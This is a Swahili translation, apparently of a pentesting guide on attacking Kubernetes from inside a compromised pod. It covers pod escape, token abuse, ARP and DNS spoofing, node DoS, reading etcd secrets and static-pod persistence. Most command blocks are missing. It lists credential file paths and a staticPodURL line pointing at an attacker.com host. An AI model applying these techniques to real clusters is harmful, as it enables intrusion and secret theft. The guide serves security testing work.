Attacking Kubernetes from inside a Pod
Kuvunja Podi
Ikiwa una bahati ya kutosha unaweza kufanikiwa kutoroka kutoka hapo kwenda kwenye node:
Kutoroka kutoka kwenye podi
Kujaribu kutoroka kutoka kwenye podi kunaweza kuhitaji kuinua mamlaka kwanza, baadhi ya mbinu za kufanya hivyo:
Unaweza kuangalia hii kuvunja docker kujaribu kutoroka kutoka kwenye podi uliyoshambulia:
Kutumia Mamlaka za Kubernetes
Kama ilivyoelezwa katika sehemu kuhusu uchambuzi wa kubernetes:
pageKubernetes EnumerationKawaida podi hufanyishwa kazi na kitambulisho cha akaunti ya huduma ndani yake. Kitambulisho hiki cha akaunti ya huduma kinaweza kuwa na mamlaka zilizowekwa ambazo unaweza kutumia vibaya kwa kusonga kwenye podi nyingine au hata kutoroka kwenda kwenye nodi zilizowekwa ndani ya kikundi. Angalia jinsi ya kufanya hivyo katika:
pageAbusing Roles/ClusterRoles in KubernetesKutumia Mamlaka za Cloud
Ikiwa podi inafanyishwa kazi ndani ya mazingira ya wingu unaweza kuweza kuvuja kibali kutoka kwa mwisho wa metadata na kuinua mamlaka kwa kutumia hilo.
Tafuta huduma za mtandao zenye mapungufu
Kwa kuwa upo ndani ya mazingira ya Kubernetes, ikiwa huwezi kuinua mamlaka kwa kutumia vibali vya sasa vya podi na huwezi kutoroka kutoka kwenye chombo, unapaswa kutafuta huduma za mtandao zenye mapungufu.
Huduma
Kwa lengo hili, unaweza kujaribu kupata huduma zote za mazingira ya kubernetes:
Kwa chaguo-msingi, Kubernetes hutumia mpangilio wa mtandao wa gorofa, ambao maana yake ni kila podi/huduma ndani ya kikundi cha kubeza inaweza kuzungumza na nyingine. Nafasi ndani ya kikundi cha kubeza hazina vizuizi vya usalama wa mtandao kwa chaguo-msingi. Mtu yeyote katika nafasi anaweza kuzungumza na nafasi nyingine.
Kuchunguza
Skripti ifuatayo ya Bash (iliyochukuliwa kutoka kwa Warsha ya Kubernetes) itainstall na kuchunguza safu za IP za kikundi cha kubeza:
Angalia ukurasa ufuatao kujifunza jinsi unavyoweza kushambulia huduma maalum za Kubernetes ili kudhoofisha pod zingine/maeneo yote:
pagePentesting Kubernetes ServicesKuvuta Data (Sniffing)
Kwa kesi ambapo pod iliyodhuriwa inaendesha huduma nyeti ambapo pod zingine zinahitaji kujithibitisha, unaweza kupata vibali vilivyotumwa kutoka kwa pod zingine kwa kuvuta mawasiliano ya ndani.
Udukuzi wa Mtandao (Network Spoofing)
Kwa chaguo-msingi, mbinu kama ARP spoofing (na shukrani kwa hilo DNS Spoofing) hufanya kazi katika mtandao wa kubernetes. Kisha, ndani ya pod, ikiwa una uwezo wa NET_RAW (ambao upo kwa chaguo-msingi), utaweza kutuma pakiti za mtandao zilizoundwa kwa desturi na kutekeleza mashambulizi ya MitM kupitia ARP Spoofing kwa pod zote zinazoendesha kwenye nodi ile ile. Zaidi ya hayo, ikiwa pod yenye nia mbaya inaendesha kwenye nodi ile ile kama Seva ya DNS, utaweza kutekeleza shambulizi la DNS Spoofing kwa pod zote kwenye kikundi.
pageKubernetes Network AttacksNode DoS
Hakuna maelezo ya rasilimali katika hati za Kubernetes na mipaka ya kikomo haijaombwa kwa vyombo. Kama mshambuliaji, tunaweza kutumia rasilimali zote ambapo pod/kupelekwa inaendesha na kuzima rasilimali zingine na kusababisha DoS kwa mazingira.
Hii inaweza kufanywa kwa kutumia chombo kama stress-ng:
Unaweza kuona tofauti wakati wa kukimbia stress-ng
na baada ya hapo
Uchimbaji wa Node Baada ya Uvamizi
Ikiwa umefanikiwa kutoroka kutoka kwenye kontena kuna vitu vingine vya kuvutia utakavyopata kwenye node:
Mchakato wa Container Runtime (Docker)
Zaidi ya pods/macontainer yanayoendesha kwenye node unaweza kuitumia kama hii (zaidi ya vitufe)
Mfumo wa faili nzima na OS kwa ujumla
Huduma ya Kube-Proxy inayosikiliza
Huduma ya Kubelet inayosikiliza. Angalia faili za usanidi:
Daktari:
/var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
Faili nyingine za kawaida za kubernetes:
$HOME/.kube/config
- Usanidi wa Mtumiaji/etc/kubernetes/kubelet.conf
- Usanidi wa Kawaida/etc/kubernetes/bootstrap-kubelet.conf
- Usanidi wa Bootstrap/etc/kubernetes/manifests/etcd.yaml
- Usanidi wa etcd/etc/kubernetes/pki
- Muhimu za Kubernetes
Pata kubeconfig ya node
Ikiwa huwezi kupata faili ya kubeconfig kwenye mojawapo ya njia zilizotajwa hapo awali, angalia hoja --kubeconfig
ya mchakato wa kubelet:
Kuiba Siri
The script can-they.sh itafuatilia vitufe vya makontena mengine na kuchunguza kama vina ruhusa unayoitafuta (badala ya wewe kuangalia moja kwa moja):
DaemonSets Wenye Haki Maalum
DaemonSet ni pod ambayo itaendeshwa kwenye nodes zote za kikundi. Kwa hivyo, ikiwa DaemonSet imeboreshwa na akaunti ya huduma yenye haki maalum, kwenye nodes ZOTE utaweza kupata token wa akaunti ya huduma yenye haki maalum ambayo unaweza kutumia vibaya.
Udanganyifu ni ule ule kama katika sehemu iliyopita, lakini sasa hauhitaji kutegemea bahati.
Kugeukia Kwenye Wingu
Ikiwa kikundi kinasimamiwa na huduma ya wingu, kawaida Node itakuwa na ufikiaji tofauti kwa kiishio cha metadata kuliko Pod. Kwa hivyo, jaribu kufikia kiishio cha metadata kutoka kwenye node (au kutoka kwa pod na hostNetwork kuwa True):
pageKubernetes Pivoting to CloudsKuiba etcd
Ikiwa unaweza kubainisha nodeName ya Node ambayo itaendesha kontena, pata kabati ndani ya node ya udhibiti na pata database ya etcd:
Nodes za control-plane zina jukumu la master na katika makundi yaliyosimamiwa kwenye wingu huwezi kuendesha chochote ndani yao.
Soma siri kutoka kwa etcd
Ikiwa unaweza kuendesha podi yako kwenye node ya control-plane ukitumia chaguo la nodeName
katika maelezo ya podi, unaweza kupata upatikanaji rahisi wa database ya etcd
, ambayo ina mizizi yote ya usanidi wa kikundi, ikiwa ni pamoja na siri zote.
Hapa chini ni njia ya haraka na isiyo safi ya kunasa siri kutoka kwa etcd
ikiwa inaendeshwa kwenye node ya control-plane uliyo nayo. Ikiwa unataka suluhisho lenye mvuto zaidi ambalo linazindua podi na zana ya mteja wa etcd
etcdctl
na kutumia sifa za node ya control-plane kuunganisha na etcd popote inapoendeshwa, angalia mfano huu wa hati kutoka @mauilion.
Angalia ili uone ikiwa etcd
inaendeshwa kwenye node ya control-plane na uone wapi database iko (Hii ni kwenye kikundi kilichoundwa na kubeadm
)
Angalia data katika database ya etcd:
Chukua vibali kutoka kwenye database na onesha jina la akaunti ya huduma
Amri ileile, lakini greps fulani ili irudishe tu token ya chaguo-msingi katika nafasi ya kube-system
Uthabiti wa Pods wa Stati/Mirrored
Pods za Stati zinasimamiwa moja kwa moja na kivinjari cha kubelet kwenye node maalum, bila seva ya API kuwaona. Tofauti na Pods zinazosimamiwa na mtego wa kudhibiti (kwa mfano, Upelekaji); badala yake, kubelet hufuatilia kila Pod ya Stati (na kuizindua upya ikiwa itashindwa).
Kwa hivyo, Pods za Stati daima zimefungwa kwa Kubelet moja kwa moja kwenye node maalum.
Kubelet kiotomatiki hujaribu kuunda Pod ya kioo kwenye seva ya API ya Kubernetes kwa kila Pod ya Stati. Hii inamaanisha kuwa Pods zinazoendesha kwenye node zinaonekana kwenye seva ya API, lakini haziwezi kudhibitiwa kutoka hapo. Majina ya Pod yataongezewa kifupi cha jina la node na hyphen inayoongoza.
spec
ya Pod ya Stati haiwezi kurejelea vitu vingine vya API (k.m., Akaunti ya Huduma, Ramani ya Usanidi, Siri, nk. Kwa hivyo hauwezi kutumia tabia hii kuzindua pod na Akaunti ya Huduma ya aina yoyote kwenye node ya sasa kuhatarisha kikundi. Lakini unaweza kutumia hii kuendesha pods katika nafasi tofauti (ikiwa hiyo ni muhimu kwa sababu fulani).
Ikiwa uko ndani ya mwenyeji wa node unaweza kufanya iundwe pod ya stati ndani yake mwenyewe. Hii ni muhimu sana kwa sababu inaweza kukuruhusu kuunda pod katika nafasi tofauti kama vile kube-system.
Ili kuunda pod ya stati, nyaraka zitasaidia sana. Kimsingi unahitaji mambo 2:
Sanidi parameta
--pod-manifest-path=/etc/kubernetes/manifests
katika huduma ya kubelet, au katika usawazishaji wa kubelet (staticPodPath) na uzindue upya hudumaUnda ufafanuzi kwenye ufafanuzi wa pod katika
/etc/kubernetes/manifests
Njia nyingine ya kujificha zaidi itakuwa:
Badilisha parameta
staticPodURL
kutoka kwenye faili ya usanidi wa kubelet na weka kitu kamastaticPodURL: http://attacker.com:8765/pod.yaml
. Hii itafanya mchakato wa kubelet uunde pod ya stati ikipata usanidi kutoka kwenye URL iliyotajwa.
Mfano wa ufafanuzi wa pod wa kuunda pod yenye haki za ziada katika kube-system uliopatikana kutoka hapa:
Futa pods + nodes zisizoweza kupangwa
Ikiwa mshambuliaji amevamia kifaa na anaweza kufuta pods kutoka kwenye vifaa vingine na kufanya vifaa vingine visiweze kutekeleza pods, pods zitarudi kwenye kifaa kilichovamiwa na ataweza kuiba vibali vilivyotekelezwa ndani yao. Kwa mabofya hapa kupata maelezo zaidi.
Zana za Kiotomatiki
Last updated